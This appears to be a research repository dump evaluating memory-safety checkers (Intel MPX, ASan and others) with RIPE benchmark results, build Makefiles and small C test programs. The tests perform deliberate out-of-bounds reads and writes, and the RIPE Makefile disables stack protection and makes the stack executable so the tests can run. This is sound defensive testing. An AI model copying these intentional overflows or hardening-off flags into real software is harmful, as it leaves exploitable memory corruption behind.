ripe,clang,native,1,ripe,,812,3840,,38,2990,0 5 | ripe,gcc,asan,1,ripe,,838,3840,,12,2990,0 6 | ripe,gcc,asan_only_write,1,ripe,,838,3840,,12,2990,0 7 | ripe,gcc,mpx,1,ripe,,850,3840,,0,2990,0 8 | ripe,gcc,mpx_only_write,1,ripe,,850,3840,,0,2990,0 9 | ripe,gcc,mpx_no_narrow_bounds,1,ripe,,836,3840,,14,2990,0 10 | ripe,gcc,mpx_no_narrow_bounds_only_write,1,ripe,,836,3840,,14,2990,0 11 | ripe,icc,mpx,1,ripe,,850,3840,,0,2990,0 12 | ripe,icc,mpx_only_write,1,ripe,,850,3840,,0,2990,0 13 | ripe,icc,mpx_no_narrow_bounds,1,ripe,,836,3840,,14,2990,0 14 | ripe,icc,mpx_no_narrow_bounds_only_write,1,ripe,,836,3840,,14,2990,0 15 | ripe,softbound,enabled,1,ripe,,836,3840,,14,2990,0 16 | ripe,safecode,enabled,1,ripe,,836,3840,,14,2990,0 17 | -------------------------------------------------------------------------------- /raw_results/secureusable/raw2.csv: -------------------------------------------------------------------------------- 1 | securitylevel,compiler,type,bndpreserve,parsec,phoenix,spec,total,foundbugs,total2 2 | 0,gcc,native,0,0,0,0,0,0,0 3 | 1,gcc,mpx_no_narrow_bounds_only_write,0,0,0,3,3,0,3 4 | 2,gcc,mpx_no_narrow_bounds,0,0,0,2,2,0,2 5 | 3,gcc,mpx_only_write,0,1,0,5,6,2,4 6 | 4,gcc,mpx,0,1,0,6,7,3,4 7 | 5,gcc,mpx_first_field,0,3,0,6,9,3,6 8 | 6,gcc,mpx_first_field,1,12,5,17,34,3,34 9 | 0,icc,native,0,0,0,0,0,0,0 10 | 1,icc,mpx_no_narrow_bounds_only_write,0,0,0,5,5,0,5 11 | 2,icc,mpx_no_narrow_bounds,0,1,0,6,8,0,8 12 | 3,icc,mpx_only_write,0,3,0,4,7,0,7 13 | 4,icc,mpx,0,4,0,6,9,0,9 14 | 6,icc,mpx,1,12,0,17,29,0,29 15 | -------------------------------------------------------------------------------- /raw_results/secureusable/ripe/raw.csv: -------------------------------------------------------------------------------- 1 | name,compiler,type,threads,input,mpxerrors,time,total,minor_faults,branch_misses,cycles,branch_instructions,dtlb_stores,ok,fail,dtlb_load_misses,dtlb_store_misses,instructions,dtlb_loads,major_faults,some,mpxbtnum,notpossible 2 | ripe,gcc,native,1,ripe,,,3840,,,,,,64,786,,,,,,0,,2990 3 | ripe,gcc,mpx_no_narrow_bounds_only_write,1,ripe,,,3840,,,,,,14,836,,,,,,0,,2990 4 | ripe,gcc,mpx_no_narrow_bounds,1,ripe,,,3840,,,,,,14,836,,,,,,0,,2990 5 | ripe,gcc,mpx_only_write,1,ripe,,,3840,,,,,,14,836,,,,,,0,,2990 6 | ripe,gcc,mpx,1,ripe,,,3840,,,,,,14,836,,,,,,0,,2990 7 | ripe,gcc,mpx_first_field,1,ripe,,,3840,,,,,,0,850,,,,,,0,,2990 8 | ripe,icc,native,1,ripe,,,3840,,,,,,34,816,,,,,,0,,2990 9 | ripe,icc,mpx_no_narrow_bounds_only_write,1,ripe,,,3840,,,,,,14,836,,,,,,0,,2990 10 | ripe,icc,mpx_no_narrow_bounds,1,ripe,,,3840,,,,,,14,836,,,,,,0,,2990 11 | ripe,icc,mpx_only_write,1,ripe,,,3840,,,,,,0,850,,,,,,0,,2990 12 | ripe,icc,mpx,1,ripe,,,3840,,,,,,0,850,,,,,,0,,2990 13 | -------------------------------------------------------------------------------- /raw_results/spec/README: -------------------------------------------------------------------------------- 1 | These are old results made with ICC 16.0 (overwrite with real ones!) -------------------------------------------------------------------------------- /scripts/csvmerge.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | Merges several csv files (the first file serves as base) 4 | Assumes that they have the same set of columns, 5 | but the columns do not have to be in the same order 6 | """ 7 | 8 | import csv 9 | import sys 10 | 11 | 12 | def main(): 13 | if len(sys.argv) < 3: 14 | print("Wrong number of arguments: specify at least two files to merge!") 15 | exit(1) 16 | 17 | # get header 18 | with open(sys.argv[1], "r") as merge_to: 19 | header = csv.DictReader(merge_to).fieldnames 20 | 21 | # copy 22 | with open(sys.argv[1], "a") as merge_to: 23 | writer = csv.DictWriter(merge_to, fieldnames=header) 24 | 25 | for i in range(2, len(sys.argv)): 26 | with open(sys.argv[i], "r") as merge_from: 27 | reader = csv.DictReader(merge_from) 28 | for row in reader: 29 | # print(row) 30 | writer.writerow(row) 31 | 32 | 33 | if __name__ == '__main__': 34 | main() 35 | -------------------------------------------------------------------------------- /src/applications/nginx/Makefile: -------------------------------------------------------------------------------- 1 | # Nginx version 1.4.0 2 | NAME := nginx 3 | SRC_PATH := $(BIN_PATH)/nginx/src 4 | 5 | SSL_PATH := $(PROJ_ROOT)/src/libs/ssl/src/ 6 | SSL_OPT := threads no-zlib no-dso no-shared no-test no-apps no-asm 7 | 8 | include Makefile.$(BUILD_TYPE) 9 | 10 | $(eval $(call expand-ccflags)) 11 | CC := $(CC) $(CFLAGS) # this is for OpenSSL 12 | export 13 | 14 | CONFIG_OPTS := --with-cc="$(CC)" \ 15 | --with-cc-opt="$(INCLUDE_HEADER_DIRS) $(INCLUDE_LIB_DIRS)" \ 16 | --with-ld-opt="$(LIBS)" \ 17 | --with-openssl=$(SSL_PATH) \ 18 | --with-openssl-opt="$(SSL_OPT)" \ 19 | --without-http_rewrite_module \ 20 | --without-http_gzip_module \ 21 | --with-http_ssl_module \ 22 | --with-debug \ 23 | --prefix=$(BUILD_PATH) 24 | 25 | all: 26 | cd $(SRC_PATH) && ./configure $(CONFIG_OPTS) > $(CONFIG_SCRIPT_LOG) 27 | make -C $(SRC_PATH) > $(CONFIG_SCRIPT_LOG) 28 | make install -C $(SRC_PATH) > $(CONFIG_SCRIPT_LOG) 29 | -------------------------------------------------------------------------------- /src/applications/ripe/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2011 John Wilander (@johnwilander) and Nick Nikiforakis (@nicknikiforakis) 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 4 | 5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 6 | 7 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /src/applications/ripe/Makefile: -------------------------------------------------------------------------------- 1 | # RIPE 2 | NAME := ripe 3 | SRC := ripe_attack_generator_64 4 | 5 | VPATH := src 6 | 7 | include Makefile.$(BUILD_TYPE) 8 | 9 | CCFLAGS += -O0 -g -fno-stack-protector -Wl,-z,execstack -U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=0 10 | CCFLAGS += -Wno-int-conversion -Wno-incompatible-pointer-types -Wno-format 11 | ifneq (,$(findstring clang,$(CC))) 12 | CCFLAGS += -fno-vectorize 13 | endif 14 | 15 | ifneq (,$(findstring icc,$(CC))) 16 | CCFLAGS += -wd144,556,167 17 | endif 18 | 19 | all: $(BUILD_PATH)/$(NAME) 20 | 21 | -------------------------------------------------------------------------------- /src/applications/ripe/README: -------------------------------------------------------------------------------- 1 | This repo contains the source code for Wilander and Nikiforakis' runtime intrusion prevention evaluator RIPE. 2 | 3 | RIPE will be/was presented at The 27th Annual Computer Security Applications Conference (ACSAC) in Orlando, Florida, December 5-9, 2011. 4 | 5 | RIPE is free software and released under the MIT licence (see file named LICENSE). 6 | 7 | If you use, extend or build upon RIPE we kindly ask you to cite the original ACSAC paper in which RIPE is presented. Here's the BibTeX: 8 | 9 | @inproceedings{ wilander.ripe, 10 | author = {John Wilander and Nick Nikiforakis and Yves Younan and Mariam Kamkar and Wouter Joosen}, 11 | title = {{RIPE}: Runtime Intrusion Prevention Evaluator}, 12 | booktitle = {In Proceedings of the 27th Annual Computer Security Applications Conference, {ACSAC}}, 13 | year = {2011}, 14 | publisher = {ACM} 15 | } 16 | 17 | John's ... 18 | tweets https://twitter.com/johnwilander 19 | résumé http://johnwilander.se 20 | music http://johnwilander.com 21 | 22 | Nick's 23 | tweets https://twitter.com/nicknikiforakis 24 | résumé http://www.securitee.org/ 25 | 26 | May your buffer overflow protection prove ripe! 27 | Regards, John and Nick -------------------------------------------------------------------------------- /src/libs/README.md: -------------------------------------------------------------------------------- 1 | # Where are the sources? 2 | 3 | They were removed to make the repository more compact. 4 | They are downloaded and placed appropriately by installation scripts (e.g., `fex.py install -n parsec`) 5 | -------------------------------------------------------------------------------- /src/libs/apr-util/Makefile: -------------------------------------------------------------------------------- 1 | # apr-util-1.5.4, taken from http://mirror.symnds.com/software/Apache/apr/apr-util-1.5.4.tar.gz 2 | NAME := apr-util 3 | 4 | # undefine variables from recursive calls 5 | undefine BUILD_PATH 6 | 7 | # import type-specific configuration 8 | include Makefile.$(BUILD_TYPE) 9 | $(eval $(call expand-ccflags)) 10 | 11 | 12 | # apr & openssl are always compiled before apr-util, so we can rely on files existing 13 | ifdef REBUILD 14 | all: pre_clean 15 | endif 16 | all: 17 | cd src && ./configure --prefix=$(BUILD_PATH) --with-apr=$(BUILD_ROOT)/libs/apr/$(BUILD_TYPE) --without-pgsql --with-openssl=$(BUILD_ROOT)/libs/ssl/$(BUILD_TYPE) > $(CONFIG_SCRIPT_LOG) 18 | sed -i "s/--mode=link \$$(CC)/--mode=link \$$(CC) -all-static/g" src/Makefile 19 | if [ -a src/xml/expat/Makefile ] ; then sed -i "s/) -no-undefined/) -all-static -no-undefined/g" src/xml/expat/Makefile ; fi; 20 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 21 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 22 | 23 | pre_clean: 24 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 25 | -------------------------------------------------------------------------------- /src/libs/apr-util/NOTICE: -------------------------------------------------------------------------------- 1 | Apache Portable Runtime Utility Library 2 | Copyright (c) 2000-2014 The Apache Software Foundation. 3 | 4 | This product includes software developed at 5 | The Apache Software Foundation (http://www.apache.org/). 6 | 7 | Portions of this software were developed at the National Center 8 | for Supercomputing Applications (NCSA) at the University of 9 | Illinois at Urbana-Champaign. 10 | 11 | This software contains code derived from the RSA Data Security 12 | Inc. MD5 Message-Digest Algorithm, including various 13 | modifications by Spyglass Inc., Carnegie Mellon University, and 14 | Bell Communications Research, Inc (Bellcore). 15 | -------------------------------------------------------------------------------- /src/libs/apr/Makefile: -------------------------------------------------------------------------------- 1 | # apr-1.5.2, taken from http://mirror.softaculous.com/apache/apr/apr-1.5.2.tar.gz 2 | NAME := apr 3 | 4 | # undefine variables from recursive calls 5 | undefine BUILD_PATH 6 | 7 | # import type-specific configuration 8 | include Makefile.$(BUILD_TYPE) 9 | $(eval $(call expand-ccflags)) 10 | 11 | 12 | ifdef REBUILD 13 | all: pre_clean 14 | endif 15 | all: 16 | cd src && ./configure --prefix=$(BUILD_PATH) --disable-shared --disable-dso > $(CONFIG_SCRIPT_LOG) 17 | sed -i 's/#define APR_HAS_MMAP 1/#define APR_HAS_MMAP 0/g' src/include/apr.h 18 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 19 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 20 | 21 | pre_clean: 22 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 23 | -------------------------------------------------------------------------------- /src/libs/apr/NOTICE: -------------------------------------------------------------------------------- 1 | Apache Portable Runtime 2 | Copyright (c) 2000-2015 The Apache Software Foundation. 3 | 4 | This product includes software developed at 5 | The Apache Software Foundation (http://www.apache.org/). 6 | 7 | Portions of this software were developed at the National Center 8 | for Supercomputing Applications (NCSA) at the University of 9 | Illinois at Urbana-Champaign. 10 | 11 | This software contains code derived from the RSA Data Security 12 | Inc. MD5 Message-Digest Algorithm. 13 | 14 | This software contains code derived from UNIX V7, Copyright(C) 15 | Caldera International Inc. 16 | -------------------------------------------------------------------------------- /src/libs/distclean-all.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | declare -a libs=("glib" "gsl" "libjpeg" "libxml2" "mesa" "ssl" "zlib" "apr" "apr-util" "pcre" "libevent") 4 | 5 | for lib in "${libs[@]}"; do 6 | pushd ${lib}/src 7 | make clean || true 8 | make distclean || true 9 | popd 10 | done 11 | 12 | rm -rf mesa/X11 # remove symbolic link 13 | rm -rf mesa/src/lib 14 | 15 | find . -type f -name *.debug -exec rm -f {} \; 16 | -------------------------------------------------------------------------------- /src/libs/glib/LICENSE: -------------------------------------------------------------------------------- 1 | GLib is released under the GNU Library General Public License (GNU LGPL). -------------------------------------------------------------------------------- /src/libs/glib/Makefile: -------------------------------------------------------------------------------- 1 | NAME := glib 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | 9 | # zlib is always compiled before glib, so we can rely on files existing 10 | CFLAGS += -I$(BUILD_ROOT)/libs/zlib/$(BUILD_TYPE)/include 11 | LDFLAGS += -L$(BUILD_ROOT)/libs/zlib/$(BUILD_TYPE)/lib 12 | 13 | $(eval $(call expand-ccflags)) 14 | 15 | # Note: We always compile with thread support enabled because 16 | # the serial version of glib is broken. 17 | 18 | ifdef REBUILD 19 | all: pre_clean 20 | endif 21 | all: 22 | cd src && ./configure --disable-shared --enable-threads --with-threads=posix --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 23 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 24 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 25 | 26 | pre_clean: 27 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 28 | -------------------------------------------------------------------------------- /src/libs/gsl/Makefile: -------------------------------------------------------------------------------- 1 | NAME := gsl 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | 9 | LIBS += -lm 10 | 11 | $(eval $(call expand-ccflags)) 12 | 13 | ifdef REBUILD 14 | all: pre_clean 15 | endif 16 | all: 17 | cd src && ./configure --disable-shared --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 18 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 19 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 20 | 21 | pre_clean: 22 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 23 | -------------------------------------------------------------------------------- /src/libs/libevent/Makefile: -------------------------------------------------------------------------------- 1 | NAME := libevent 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | $(eval $(call expand-ccflags)) 9 | 10 | ifdef REBUILD 11 | all: pre_clean 12 | endif 13 | all: 14 | cd src && ./autogen.sh > $(CONFIG_SCRIPT_LOG) || true 15 | cd src && ./configure --disable-shared --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 16 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 17 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 18 | 19 | pre_clean: 20 | $(MAKE) -C src clean > $(CONFIG_SCRIPT_LOG) || true 21 | 22 | -------------------------------------------------------------------------------- /src/libs/libjpeg/Makefile: -------------------------------------------------------------------------------- 1 | NAME := libjpeg 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | $(eval $(call expand-ccflags)) 9 | 10 | ifdef REBUILD 11 | all: pre_clean 12 | endif 13 | all: 14 | cd src && ./configure --disable-shared --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 15 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 16 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 17 | 18 | pre_clean: 19 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 20 | -------------------------------------------------------------------------------- /src/libs/libxml2/COPYING: -------------------------------------------------------------------------------- 1 | Copyright -------------------------------------------------------------------------------- /src/libs/libxml2/Makefile: -------------------------------------------------------------------------------- 1 | NAME := libxml2 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | 9 | # zlib is always compiled before libxml2, so we can rely on files existing 10 | CFLAGS += -I$(BUILD_ROOT)/libs/zlib/$(BUILD_TYPE)/include 11 | LDFLAGS += -L$(BUILD_ROOT)/libs/zlib/$(BUILD_TYPE)/lib 12 | LIBS += -ldl 13 | 14 | CONFIGFLAGS = --disable-shared --without-threads 15 | ifdef version 16 | ifeq "$(version)" "pthreads" 17 | CONFIGFLAGS = --disable-shared --with-threads 18 | endif 19 | endif 20 | 21 | $(eval $(call expand-ccflags)) 22 | 23 | ifdef REBUILD 24 | all: pre_clean 25 | endif 26 | all: 27 | cd src && ./configure $(CONFIGFLAGS) --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 28 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 29 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 30 | 31 | pre_clean: 32 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 33 | -------------------------------------------------------------------------------- /src/libs/mesa/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (C) 1999-2007 Brian Paul All Rights Reserved. 2 | 3 | Permission is hereby granted, free of charge, to any person obtaining a 4 | copy of this software and associated documentation files (the "Software"), 5 | to deal in the Software without restriction, including without limitation 6 | the rights to use, copy, modify, merge, publish, distribute, sublicense, 7 | and/or sell copies of the Software, and to permit persons to whom the 8 | Software is furnished to do so, subject to the following conditions: 9 | 10 | The above copyright notice and this permission notice shall be included 11 | in all copies or substantial portions of the Software. 12 | 13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 14 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 16 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 19 | SOFTWARE. -------------------------------------------------------------------------------- /src/libs/mesa/Makefile: -------------------------------------------------------------------------------- 1 | NAME := mesa 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | 9 | CFLAGS += -I$(PROJ_ROOT)/src/libs/mesa 10 | $(eval $(call expand-ccflags)) 11 | 12 | ifdef REBUILD 13 | all: pre_clean 14 | endif 15 | all: 16 | ln -s /usr/include/X11 X11 || true # dirty hack to include X11 headers even under SGX (assumes `/usr/include/X11` exists) 17 | $(MAKE) -C src clean > $(CONFIG_SCRIPT_LOG) || true 18 | cd src && ./configure --with-driver=xlib --enable-glut --enable-static --disable-shared --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 19 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 20 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 21 | 22 | pre_clean: 23 | $(MAKE) -C src clean > $(CONFIG_SCRIPT_LOG) || true 24 | 25 | -------------------------------------------------------------------------------- /src/libs/pcre/Makefile: -------------------------------------------------------------------------------- 1 | NAME := pcre 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | $(eval $(call expand-ccflags)) 9 | 10 | IGNORE_DOCS := dist_doc_DATA="" dist_html_DATA="" dist_man_MANS="" pcrecpp_html="" 11 | 12 | 13 | ifdef REBUILD 14 | all: pre_clean 15 | endif 16 | all: 17 | cd src && ./configure --disable-shared --disable-cpp --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 18 | $(MAKE) -C src $(IGNORE_DOCS) > $(CONFIG_SCRIPT_LOG) 19 | $(MAKE) -C src install $(IGNORE_DOCS) > $(CONFIG_SCRIPT_LOG) 20 | 21 | pre_clean: 22 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 23 | -------------------------------------------------------------------------------- /src/libs/ssl/Makefile: -------------------------------------------------------------------------------- 1 | # we use version different from supplied in PARSEC: openssl-1.0.1f 2 | # NOTE: we disable asm because most compiler mechanisms cannot work with it 3 | NAME := ssl 4 | 5 | # undefine variables from recursive calls 6 | undefine BUILD_PATH 7 | 8 | # import type-specific configuration 9 | include Makefile.$(BUILD_TYPE) 10 | $(eval $(call expand-ccflags)) 11 | CFLAGS += -DPEDANTIC -pedantic 12 | CC := $(CC) $(CFLAGS) 13 | export 14 | 15 | ifdef REBUILD 16 | all: pre_clean 17 | endif 18 | all: 19 | cd src && ./config threads no-zlib no-dso no-shared no-test no-apps no-asm --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) && cd .. 20 | # $(MAKE) -C src -j1 depend # SSL has to be build using 1 thread 21 | $(MAKE) -C src -j1 > $(CONFIG_SCRIPT_LOG) 22 | $(MAKE) -C src -j1 install_sw > $(CONFIG_SCRIPT_LOG) 23 | 24 | pre_clean: 25 | $(MAKE) -C src clean > $(CONFIG_SCRIPT_LOG) || true 26 | -------------------------------------------------------------------------------- /src/libs/zlib/Makefile: -------------------------------------------------------------------------------- 1 | NAME := zlib 2 | 3 | # undefine variables from recursive calls 4 | undefine BUILD_PATH 5 | 6 | # import type-specific configuration 7 | include Makefile.$(BUILD_TYPE) 8 | $(eval $(call expand-ccflags)) 9 | 10 | ifdef REBUILD 11 | all: pre_clean 12 | endif 13 | all: 14 | cd src && ./configure.shared --prefix=$(BUILD_PATH) > $(CONFIG_SCRIPT_LOG) 15 | $(MAKE) -C src > $(CONFIG_SCRIPT_LOG) 16 | $(MAKE) -C src install > $(CONFIG_SCRIPT_LOG) 17 | 18 | pre_clean: 19 | $(MAKE) -C src distclean > $(CONFIG_SCRIPT_LOG) || true 20 | -------------------------------------------------------------------------------- /src/micro/acceptance/arbitrarycasts/Makefile: -------------------------------------------------------------------------------- 1 | NAME := arbitrarycasts 2 | SRC := arbitrarycasts 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/acceptance/arbitrarycasts/arbitrarycasts.c: -------------------------------------------------------------------------------- 1 | /* arbitrary casts: int* -> char* */ 2 | #include 3 | #include 4 | 5 | __attribute__((noinline)) 6 | char dummy(char* p) { 7 | return *p; 8 | } 9 | 10 | int main(int argc, char **argv) { 11 | int i[10]; 12 | char r = 0; 13 | 14 | char* c = (char*) i; 15 | r += dummy(c); 16 | printf("this must be printed before error: %hd %hd\n", r, c[0]); 17 | c[10*4] = 42; 18 | r += dummy(c); 19 | printf("this must be printed after error: %hd %hd\n", r, c[10*4]); 20 | 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /src/micro/acceptance/globalarrayread/Makefile: -------------------------------------------------------------------------------- 1 | NAME := globalarrayread 2 | SRC := globalarrayread 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/acceptance/globalarrayread/globalarrayread.c: -------------------------------------------------------------------------------- 1 | /* taken from https://github.com/google/sanitizers/wiki/AddressSanitizerIntelMemoryProtectionExtensions */ 2 | /* array read out of bounds */ 3 | #include 4 | #include 5 | 6 | int g[10]; 7 | 8 | int main(int argc, char **argv) { 9 | int x = g[11]; 10 | printf("%d\n", x); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /src/micro/acceptance/globalarraywrite/Makefile: -------------------------------------------------------------------------------- 1 | NAME := globalarraywrite 2 | SRC := globalarraywrite 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/acceptance/globalarraywrite/globalarraywrite.c: -------------------------------------------------------------------------------- 1 | /* taken from https://github.com/google/sanitizers/wiki/AddressSanitizerIntelMemoryProtectionExtensions */ 2 | /* array write out of bounds */ 3 | #include 4 | #include 5 | 6 | int g[10]; 7 | 8 | __attribute__((noinline)) 9 | int dummy(int* p) { 10 | return *p; 11 | } 12 | 13 | int main(int argc, char **argv) { 14 | g[11] = 42; 15 | int r = dummy(g); 16 | printf("%d\n", r); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /src/micro/acceptance/malloc/Makefile: -------------------------------------------------------------------------------- 1 | NAME := malloc 2 | SRC := malloc 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/acceptance/malloc/malloc.c: -------------------------------------------------------------------------------- 1 | /* test libc wrappers under MPX, namely malloc() */ 2 | #include 3 | #include 4 | 5 | __attribute__((noinline)) 6 | int dummy(int* p) { 7 | return *p; 8 | } 9 | 10 | int main(int argc, char **argv) { 11 | int size = 0, to = 0, num = 0; 12 | if (argc >= 4) { 13 | size = atoi(argv[1]); 14 | to = atoi(argv[2]); 15 | num = atoi(argv[3]); 16 | } else { 17 | // make it crash by default 18 | size = to = num = 10; 19 | } 20 | 21 | int *p = malloc(size * sizeof(size)); 22 | p[to] = num; 23 | int r = dummy(p); 24 | printf("%d\n", r); 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /src/micro/acceptance/missing_return_value/README.md: -------------------------------------------------------------------------------- 1 | An example of a function with missing return value. 2 | It crashes Clang ASan. 3 | -------------------------------------------------------------------------------- /src/micro/acceptance/missing_return_value/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void* entry_pt(void*); 7 | void test(); 8 | 9 | using namespace std; 10 | 11 | 12 | #define NUM_THREADS 2 13 | 14 | int main (int argc, char **argv) { 15 | std::vector threads(NUM_THREADS); 16 | 17 | for(int i=0; i 3 | #include 4 | #include 5 | 6 | // 1GB size 7 | #define SIZE 1024*1024*1024 8 | 9 | typedef struct { 10 | char* arr; 11 | int size; 12 | } st_t; 13 | 14 | __attribute__((noinline)) 15 | void* arraywrite(void* stvoid) { 16 | st_t* st = (st_t*) stvoid; 17 | char* arr = st->arr; 18 | int size = st->size; 19 | 20 | int i; 21 | for (i = 0; i < size; i++) { 22 | // __atomic_store_n(arr + i, i, __ATOMIC_SEQ_CST); /* atomics are not checked by MPX! */ 23 | arr[i] = (char)i; 24 | } 25 | return NULL; 26 | } 27 | 28 | int main(int argc, char **argv) { 29 | char* arr = (char*) malloc(SIZE); 30 | 31 | pthread_t pt; 32 | st_t st; 33 | st.arr = arr; st.size = SIZE; 34 | 35 | if (pthread_create(&pt, NULL, arraywrite, &st)) { 36 | puts("Error creating thread\n"); 37 | return 1; 38 | } 39 | 40 | arraywrite(&st); 41 | 42 | if (pthread_join(pt, NULL)) { 43 | puts("Error joining thread\n"); 44 | return 2; 45 | } 46 | 47 | printf("r = %hd\n", arr[0]); 48 | return 0; 49 | } 50 | 51 | -------------------------------------------------------------------------------- /src/micro/acceptance/narrowing/Makefile: -------------------------------------------------------------------------------- 1 | NAME := narrowing 2 | SRC := narrowing 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/acceptance/narrowing/narrowing.c: -------------------------------------------------------------------------------- 1 | /* complex struct with inner array; 2 | * this test makes out-of-bound write of inner array 3 | * -- should be detected when narrowing is enabled 4 | */ 5 | #include 6 | #include 7 | 8 | struct __attribute__((__packed__)) { 9 | int x; 10 | int a[10]; 11 | int y; 12 | } s; 13 | 14 | __attribute__((noinline)) 15 | int dummy(int* p) { 16 | return *p; 17 | } 18 | 19 | int main(int argc, char **argv) { 20 | int r = 0; 21 | int* ok = (int*)&s; 22 | ok[11] = 42; 23 | r += dummy(ok); 24 | printf("this must be printed before error: %d %d\n", r, ok[11]); 25 | 26 | int* no = s.a; 27 | no[10] = 43; 28 | r += dummy(no); 29 | printf("this must be printed after error: %d %d\n", r, no[10]); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /src/micro/acceptance/stackarrayread/Makefile: -------------------------------------------------------------------------------- 1 | NAME := stackarrayread 2 | SRC := stackarrayread 3 | 4 | include common.mk 5 | include $(ACTION_MAKEFILE) 6 | 7 | all: $(BUILD_PATH)/$(NAME) 8 | -------------------------------------------------------------------------------- /src/micro/acceptance/stackarrayread/stackarrayread.c: -------------------------------------------------------------------------------- 1 | /* stack array read out of bounds */ 2 | #include 